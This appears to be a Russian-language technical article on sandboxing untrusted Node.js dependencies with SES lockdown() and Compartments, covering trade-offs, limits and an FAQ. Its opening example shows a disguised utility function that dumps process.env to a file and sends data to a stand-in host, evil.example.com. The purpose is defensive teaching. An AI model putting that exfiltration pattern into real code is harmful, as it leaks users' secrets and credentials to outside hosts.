Одна скомпрометированная транзитивная зависимость может эксфильтровать ваш process.env, записать данные в вашу файловую систему и открыть исходящие соединения. Ей не нужна уязвимость в вашем коде. Ей достаточно просто существовать внутри того же процесса. В JavaScript каждый модуль по умолчанию наследует полную власть среды выполнения. Это и есть Ambient Authority, и её удаление — один из самых эффективных способов повысить безопасность приложения на Node.js.

Как выглядит Ambient Authority в JavaScript

Ambient Authority означает, что права доступа не привязаны к тому, что вам выдали. Они привязаны к тому, где вы выполняетесь. Любой код внутри процесса Node.js может обратиться к fs, http, child_process или process.env, не спрашивая разрешения. Среда выполнения делает эти глобальные объекты доступными каждому модулю — доверенному или нет.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

Функция innocentUtility была импортирована, чтобы преобразовать строку в верхний регистр. Поскольку она выполняется внутри процесса Node.js, у неё также есть возможность читать переменные окружения и связываться с внешним миром. Никакой песочницы. Никакой модели разрешений. Код просто взял эти полномочия, потому что среда выполнения положила их в пределах досягаемости.

Это не гипотетическая ситуация. Атаки на цепочку поставок в npm регулярно эксплуатируют именно это свойство. Вредоносной или скомпрометированной зависимости не нужен zero-day. Ей достаточно быть загруженной через require.

Lockdown: первый удар

SES-шим (Secure ECMAScript), поддерживаемый Agoric, предоставляет функцию lockdown(), которая ужесточает среду выполнения JavaScript. Она замораживает все встроенные прототипы, убирает опасные глобальные объекты вроде eval и конструктора Function, и предотвращает загрязнение прототипов. После lockdown ваш собственный код не сможет случайно или злонамеренно подменить Array.prototype или Object.prototype.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

Lockdown мощен, но сам по себе недостаточен. Он предотвращает подмену общей среды, но не устраняет Ambient Authority. Заблокированный модуль всё ещё может выполнить import fs from 'node:fs' и прочитать ваш диск. Lockdown защищает язык. Он не защищает хост.

Compartments: лишение хоста полномочий

Compartment — это чистая среда выполнения JavaScript со своей собственной глобальной областью видимости. В отличие от контекста vm или Web Worker, compartment разделяет ту же самую очередь событий и кучу памяти, но начинается с нуля. Нет console, нет fetch, нет process. Вы должны явно наделить его каждой capability, которую ему разрешено использовать.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

Compartment не может коснуться файловой системы, сети или process.env, потому что эти capabilities в него никогда не передавались. Если код внутри compartment скомпрометирован, радиус поражения ограничен тем, что вы ему выдали.

Безопасная загрузка ненадёжных модулей

Настоящая защита цепочки поставок означает загрузку стороннего кода внутри compartment и выдачу ему только той власти, которая ему реально нужна. Вот паттерн, который работает с CommonJS или ESM-бандлами.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

Код вендора живёт в том же процессе, но работает внутри границы capabilities. Он не может открывать сокеты. Он не может прочитать package.json из вашего репозитория. Он может читать только те файлы, которые вы явно ограничили, и писать логи через предоставленный вами обёрточный объект.

Это не теоретическое ужесточение. Блокчейн Agoric использует эту модель для своей платформы смарт-контрактов. Каждый смарт-контракт выполняется внутри заблокированного compartment с явно выданными capabilities.

Компромиссы, с которыми вы столкнётесь

Compartments не бесплатны. SES-шим патчит прототипы и переписывает некоторое встроенное поведение, что добавляет небольшую стоимость инициализации. Что важнее — многие npm-пакеты предполагают наличие Ambient Authority. Они обращаются к process, Buffer или setImmediate, не импортируя их. Когда эти глобальные объекты отсутствуют, код падает.

У вас три варианта. Первый: добавить недостающие глобальные объекты внутрь compartment с помощью безопасных реализаций — polyfill. Второй: выдать настоящие глобальные объекты и принять риск. Третий: провести аудит зависимости и исправить её предположения.

Чаще всего зависимости нужны лишь Buffer или setTimeout. Их безопасно выдавать. Опасными являются fs, net, child_process и process.env. Их никогда не следует пускать в compartment, если код внутри не нуждается в них по-настоящему, и даже тогда их стоит обернуть.

Отладка тоже усложняется. Стек-трейсы изнутри compartment указывают на eval-строки или виртуализированные источники. Современная поддержка source maps в Node.js помогает, но вы потратите время на сопоставление номеров строк, когда что-то пойдёт не так.

Где это ломается

Нативные аддоны и WASM-модули полностью обходят среду выполнения JavaScript. Файл .node, загруженный через require, выполняется вне SES-compartment и сохраняет полную Ambient Authority. Если вам нужно изолировать нативный код, compartments — не ответ. Вам нужна изоляция на уровне операционной системы: seccomp, Landlock или отдельный процесс.

Compartments также разделяют одну и ту же кучу и очередь событий. Compartment всё ещё может голодать процессор в бесконечном цикле или выделять память до краха процесса. SES предоставляет compute-метры для ограничения выполнения, но compartment по умолчанию не навязывает лимиты ресурсов. Это граница безопасности, а не граница ресурсов.

Практическая отправная точка

Вам не нужно переписывать всё приложение. Начните с зависимостей с наивысшим риском: всё, что парсит ненадёжный ввод, всё, что загружается динамически, и всё от незнакомого издателя.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

Оберните вашу систему плагинов, ваш движок шаблонов или ваши пользовательские скрипты. Дайте каждому compartment с минимальной властью, необходимой для выполнения работы. Если зависимость не работает внутри compartment — это сигнал. Она была написана в предположении, что владеет всем процессом. Именно это предположение вы и пытаетесь устранить.

FAQ

В чём разница между Compartment и модулем vm в Node?

vm создаёт новый контекст со свежим глобальным объектом, но по-прежнему имеет доступ ко всему API Node.js, если вы явно его не уберёте. Compartments начинаются пустыми и требуют явных endowments. Они также интегрируются с SES lockdown, чтобы предотвратить подмену прототипов во всём runtime.

Работает ли это с TypeScript или бандлерами?

Да. Compartments выполняют JavaScript, поэтому вы сначала компилируете TypeScript. Бандлеры вроде Rollup или esbuild могут собрать зависимость в один файл, который вы затем загружаете в compartment. Бандлер убирает динамические импорты, что на самом деле облегчает sandboxing с помощью compartments.

Можно ли отозвать capability после её выдачи?

Напрямую — нет. Capability, переданная в compartment, является ссылкой на объект JavaScript. Если вам нужна отмена, оберните capability в прокси или токен-обёртку, которая проверяет флаг при каждом доступе. Это та же самая проблема отзыва, с которой сталкиваются все системы capabilities.

Готов ли SES к продакшену?

SES работает в продакшене на блокчейне Agoric с 2021 года. Пакет ses на npm активно поддерживается. Он проходит процесс предложений TC39 по стандартизации JavaScript, хотя пока ещё не является частью спецификации языка.

Заменяет ли это контейнеризацию?

Нет. Compartments — это граница безопасности на уровне процесса. Контейнеры — это граница операционной системы. Используйте compartments, чтобы ограничить то, что код внутри вашего процесса может делать. Используйте контейнеры, чтобы ограничить то, что сам процесс может делать. Они дополняют друг друга.

Ambient Authority является стандартом в JavaScript, потому что это удобно. Удобство и безопасность — не одно и то же. Lockdown и compartments позволяют вам отнять окружающую власть, которую каждый модуль наследует по умолчанию, и заменить её явными, ограниченными и поддающимися аудиту capabilities. Начните с одной ненадёжной зависимости. Поместите её в compartment. Заберите у неё fs и fetch. Посмотрите, что реально сломается. Чаще всего ломается предположение, которое ваша зависимость никогда не имела права делать.